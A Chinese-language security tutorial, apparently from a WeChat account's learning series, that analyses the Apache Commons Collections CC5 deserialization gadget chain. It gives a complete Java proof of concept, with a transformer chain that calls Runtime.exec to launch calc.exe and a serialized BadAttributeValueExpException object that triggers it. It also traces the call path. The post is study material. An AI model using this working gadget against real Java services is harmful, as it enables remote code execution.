前言
在我们分析前几条链后,对于CC已经很熟悉了,CC5链和CC1差不多,只不过调用LazyMap.get()是通过TiedMapEntry.toString()触发
1.环境安装
我们可以接着使用之前已经搭建好的环境,具体过程可以看CC1分析文章中的环境安装部分
反序列化学习之路-Apache Commons Collections(CC1)
2. 分析
我们先把后半段Lazy.get到命令执行的代码写出来
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[]{String.class},
new Object[]{"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"C:\windows\system32\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
Lazy.get(1);
}
}
我们查找get的用法,发现在TiedMapEntry.getValue()进行了调用
我们接着寻找,在同类的toString方法找到了调用
接着寻找,但是toString方法太多了,我们直接跳到目标BadAttributeValueExpException.readObject()
在构造处我们能看见也有个toString方法,所以在刚开始会自动调用poc,我们需要和前几次分析一样,先传入一个随便的值,在最后通过反射修改回我们构造的命令
3.编写POC
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[]{String.class},
new Object[]{"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"C:\windows\system32\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazy,"admin");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class a = badAttributeValueExpException.getClass();
Field val = a.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serializable(badAttributeValueExpException);
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
我们使用反序列化运行生成的文件
package org.example;
import java.lang.annotation.Annotation;
import com.oracle.jrockit.jfr.ValueDefinition;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC {
public static void main(String[] args) throws Exception {
//命令执行代码
unserializable();
}
private static Object unserializable() throws Exception,IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
}
整体路线为:
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
本系列其它文章:
反序列化学习之路-Apache Commons Collections(CC1)
反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线
反序列化学习之路-Apache Commons Collections(CC3)
反序列化学习之路-Apache Commons Collections(CC4)
反序列化学习之路-Apache Commons Collections(CC6)
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
欢迎关注公众号“呼啦啦安全”,原创技术文章第一时间推送。
原文始发于微信公众号(呼啦啦安全):反序列化学习之路-CC5
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论